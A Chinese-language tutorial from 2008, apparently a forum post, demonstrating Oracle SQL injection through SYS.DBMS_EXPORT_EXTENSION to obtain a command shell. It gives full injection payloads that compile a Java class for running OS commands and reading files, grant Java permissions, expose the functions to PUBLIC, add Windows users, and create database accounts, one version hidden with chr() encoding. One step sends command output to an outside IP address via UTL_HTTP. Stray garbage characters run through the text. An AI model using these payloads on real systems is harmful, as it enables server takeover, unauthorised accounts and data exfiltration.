实例演示oracle注入获取cmdshell的全过程

admin

以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
% V" i4 P% B9 Y2 o1 o
. l' r- ?/ x# b7 w" S- M　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
9 H1 `" i8 I5 Z; d的形式即可。(用" 'a'|| "是为了让语句返回true值)
语句有点长，可能要用post提交。
, w; h' @5 K6 N! w以下是各个步骤：
' l; w7 {- Y+ d1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
5 H- `5 b5 ~7 Q% U/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
. ]+ d# U) h" p, G8 s( Onew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
" @; R: A4 t2 D)
5 I5 L# s5 }$ T. L) k------------------------
如果url有长度限制，可以把readFile()函数块去掉，即：
/xxx.jsp?id=1 and '1'<>'a'||(
7 k: S" K, T; T6 x6 w! n7 y3 J8 kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  G, U" B: r/ v  vcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
+ ~. b! d- h5 g# j" P9 z5 b5 V}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同时把后面步骤 提到的 对readFile()的处理语句去掉。
. j: l+ e$ S+ c& U& B9 D------------------------------
2.赋Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
8 a5 Q1 s& Y3 a0 e3.创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
4.赋public执行函数的权限
) l4 ]. r0 S1 t* H7 o4 Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
" s& t0 G. Z& k( U5 Q. F5.测试上面的几步是否成功
; g6 I, _, [) y! Kand '1'<>'11'||(
" N7 Z! g: {. _0 Z8 i4 T( cselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
- }$ ^  F- {! I' v2 S, K% L' Zselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
5 |; `9 j5 V. K! ?3 Y6 V6.执行命令：
/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

2 H6 F( R8 l" v4 g( p$ }  P)
; j8 m3 X% U. g# Y3 W* o- c/xxx.jsp?id=1 and '1'<>(
; }" s2 ^6 f9 [" X2 x% e. E1 }- Uselect  sys.LinxReadFile('c:/boot.ini') from dual

)
　　
3 X1 w% z! h, H! f( ~. S注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
如果要查看运行结果可以用 union :
) y/ P. y! `9 B" u/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
- p9 {4 @+ C4 T或者UTL_HTTP.request(:
* a! \( q$ a% W1 r: \8 t/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
- |8 G# j6 H% r( c5 n)
9 Q  _- j6 Y2 [8 |5 q. O: o3 T' @" S/xxx.jsp?id=1 and '1'<>(
" A+ v* a3 @0 a$ D% K( e1 @SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
& v% W2 Q+ t! q4 F; i, `+ F9 |! h注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
5 U# O' D+ D3 A' z5 ]$ v--------------------
6.内部变化
通过以下命令可以查看all_objects表达改变：
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
3 b( ^; u, W8 ~% K0 l7.删除我们创建的函数
7 {+ d8 F: C; k- \' N4 e" [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 _3 o. ^* A8 tdrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
. X4 \8 J5 a( v3 f1 A" O9 b====================================================
全文结束。谨以此文赠与我的朋友。
- m. R! o- L; ilinx
8 M5 X& O, l! C124829445
2008.1.12
& @% D( |9 [: p% X& j( ?linyujian@bjfu.edu.cn
======================================================================
8 f) s9 b3 k  A) c& Q: j) B测试漏洞的另一方法：
创建oracle帐号：
- i3 H* ~5 u, y; e, u4 v( _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 `( Y0 G+ s: H* r  C2 t3 yCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
8 X$ _$ o, B! ^9 F# X即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
  ]" M: ]. \5 qchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
确定漏洞存在：
$ k# Q' T- ?. H& y1<>(
select user_id from all_users where username='LINXSQL'
; U+ }, o" u; K)
给linxsql连接权限：
- {7 z, M( `4 Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) A. Y6 i4 D' }) T1 O+ O1 |0 ]8 LGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
/ X; g3 Y# Z$ c' [- @  h* H删除帐号：
9 C: a  M: P* Y$ I3 g3 l/ @- B; _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
======================
$ f# N; |* f- F9 @! b以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
1.jsp?id=1 and '1'<>(
) c7 _% i; z4 S& z* |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
; J. e) X9 _8 B' f/ e8 j; G. V) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
- q6 ?" x# x8 Z: F　)
# M% X2 z* a& n4 Y0 H+ Z8 y


  J+ o0 N( d. o2 E) v: ]' X